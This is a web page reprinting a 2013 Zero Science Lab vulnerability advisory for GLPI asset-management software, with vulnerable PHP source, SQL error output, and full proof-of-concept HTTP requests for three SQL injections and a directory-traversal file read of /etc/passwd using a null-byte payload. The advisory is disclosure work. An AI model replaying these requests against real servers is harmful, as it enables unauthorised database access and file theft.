The goal of this project is to make virtual world a safer and better place without child pornography, major computer crime and RIAA.
Login As
You can log in if you are registered at one of these services:
Security Bulletins
Latest Malware Updates

Infostealer.Posteal

02/26/2015

Downloader.Busadom

02/26/2015

Trojan.Ladocosm

02/26/2015

SONAR.SuspDocRun

02/25/2015

SONAR.SuspHelpRun

02/25/2015
06/21/2013

GLPI v0.83.8 - Multiple Vulnerabilities


GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7 and 0.83.8

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: Input passed via the POST parameter 'users_id_assign' in
'/ajax/ticketassigninformation.php' script, POST parameter 'filename'
in '/front/document.form.php' script, and POST parameter 'table' in
'glpi/ajax/comments.php' script is not properly sanitised before
being used in SQL queries. This can be exploited by a malicious
attacker to manipulate SQL queries by injecting arbitrary SQL code
in the affected application.


======================================================================
/inc/db.function.php:
---------------------

274: function countElementsInTable($table, $condition="") {
275: global $DB;
276:
277: if (is_array($table)) {
278: $table = implode('`,`',$table);
279: }
280:
281: $query = "SELECT COUNT(*) AS cpt
282: FROM `$table`";
283:
284: if (!empty($condition)) {
285: $query .= " WHERE $condition ";
286: }
287:
288: $result =$DB->query($query);
289: $ligne  = $DB->fetch_array($result);
290: return $ligne['cpt'];
291: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT COUNT(*) AS cpt
FROM `glpi_tickets`,`glpi_tickets_users` WHERE `glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id`
AND `glpi_tickets_users`.`users_id` = \'2\'\'
AND `glpi_tickets_users`.`type` = \'2\'
AND `glpi_tickets`.`is_deleted` = 0
AND `glpi_tickets`.`status`
NOT IN (\'solved\', \'closed\')
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'
AND `glpi_tickets`.`is_deleted` = 0
' at line 3
Backtrace :
/var/www/html/glpi/inc/db.function.php :288        DBmysql->query()
/var/www/html/glpi/inc/commonitilobject.class.php :362        countElementsInTable()
/var/www/html/glpi/ajax/ticketassigninformation.php :66        CommonITILObject->countActiveObjectsForTech()
/var/www/html/glpi/ajax/ticketassigninformation.php


======================================================================
/inc/document.class.php:
------------------------

1221: static function isValidDoc($filename) {
1222: global $DB;
1223:
1224: $splitter = explode(".",$filename);
1225: $ext      = end($splitter);
1226:
1227: $query="SELECT *
1228: FROM `glpi_documenttypes`
1229: WHERE `ext` LIKE '$ext'
1230: AND `is_uploadable`='1'";
1231:
1232: if ($result = $DB->query($query)) {
1233: if ($DB->numrows($result)>0) {
1234: return Toolbox::strtoupper($ext);
1235: }
1236: }
1237: return "";
1238: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT *
FROM `glpi_documenttypes`
WHERE `ext` LIKE \'1\'\'
AND `is_uploadable`=\'1\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 3
Backtrace :
/var/www/html/glpi/inc/document.class.php :1232        DBmysql->query()
/var/www/html/glpi/inc/document.class.php :1088        Document::isValidDoc()
/var/www/html/glpi/inc/document.class.php :275        Document::uploadDocument()
/var/www/html/glpi/inc/commondbtm.class.php :878        Document->prepareInputForUpdate()
/var/www/html/glpi/front/document.form.php :99        CommonDBTM->update()
/var/www/html/glpi/front/document.form.php


======================================================================
/inc/dbmysql.class.php:
-----------------------

364: function list_tables($table="glpi_%") {
365: return $this->query("SHOW TABLES LIKE '".$table."'");
366: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SHOW TABLES LIKE \'%glpi_users\'%\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
Backtrace :
/var/www/html/glpi/glpi/inc\dbmysql.class.php :365        DBmysql->query()
/var/www/html/glpi/inc/db.function.php :1182        DBmysql->list_tables()
/var/www/html/glpi/ajax/comments.php :47        TableExists()
/var/www/html/glpi/ajax/comments.php

======================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

----------------
{1}


POST /glpi/ajax/ticketassigninformation.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/ticket.form.php
Content-Length: 17
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

users_id_assign=2{SQL_Injection}


----------------
{2}


POST /glpi/front/document.form.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/glpi/front/document.form.php?id=4
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------19302542618340
Content-Length: 1699

-----------------------------19302542618340
Content-Disposition: form-data; name="entities_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="is_recursive"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="name"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="comment"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="current_filepath"


-----------------------------19302542618340
Content-Disposition: form-data; name="current_filename"


-----------------------------19302542618340
Content-Disposition: form-data; name="filename"; filename=1{SQL_Injection}
Content-Type: application/octet-stream


-----------------------------19302542618340
Content-Disposition: form-data; name="upload_file"


-----------------------------19302542618340
Content-Disposition: form-data; name="link"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="documentcategories_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="mime"

application/octet-stream
-----------------------------19302542618340
Content-Disposition: form-data; name="update"

Update
-----------------------------19302542618340
Content-Disposition: form-data; name="_read_date_mod"

2013-06-14 20:27:56
-----------------------------19302542618340
Content-Disposition: form-data; name="id"

4
-----------------------------19302542618340
Content-Disposition: form-data; name="_glpi_csrf_token"

f27853afa3e705b5042c0ae4d135679c
-----------------------------19302542618340--


----------------
{3}


POST /glpi/ajax/comments.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 59
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://localhost/glpi/front/planning.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=frk5prfmarsc9ebo1u751skkb2

value=5&table=glpi_users{SQL Injection}&withlink=comment_link_uID302668907


----------------

#################################################################################################################


GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input
passed thru the 'filetype' parameter to 'common.tabs.php' script is not
properly verified before being used to include files. This can be exploited
to include files from local resources with directory traversal attacks
and URL encoded NULL bytes.

========================================================================
/ajax/common.tabs.php:
----------------------

46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) {
47: exit();
62: $item = new $_REQUEST['itemtype'])();

========================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

---


POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/user.form.php?id=2
Content-Length: 75
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2

---

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
..
..


Security Advisories Database

Remote Code Execution Vulnerability in Microsoft OpenType Font Driver

A remote attacker can execute arbitrary code on the target system.

07/21/2015

SQL Injection Vulnerability in Piwigo

SQL inection vulnerability has been discovered in Piwigo.

02/05/2015

Cross-site Scripting Vulnerability in DotNetNuke

A cross-site scripting (XSS) vulnerability has been discovered in DotNetNuke.

02/05/2015

Cross-site Scripting Vulnerability in Hitachi Command Suite

A cross-site scripting vulnerability was found in Hitachi Command Suite.

02/02/2015

Denial of service vulnerability in FreeBSD SCTP RE_CONFIG Chunk Handling

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in Apache Traffic Server HTTP TRACE Max-Forwards

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in MalwareBytes Anti-Exploit "mbae.sys"

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in Linux Kernel splice

An attacker can perform a denial of service attack.

01/29/2015

Denial of service vulnerability in Python Pillow Module PNG Text Chunks Decompression

An attacker can perform a denial of service attack.

01/20/2015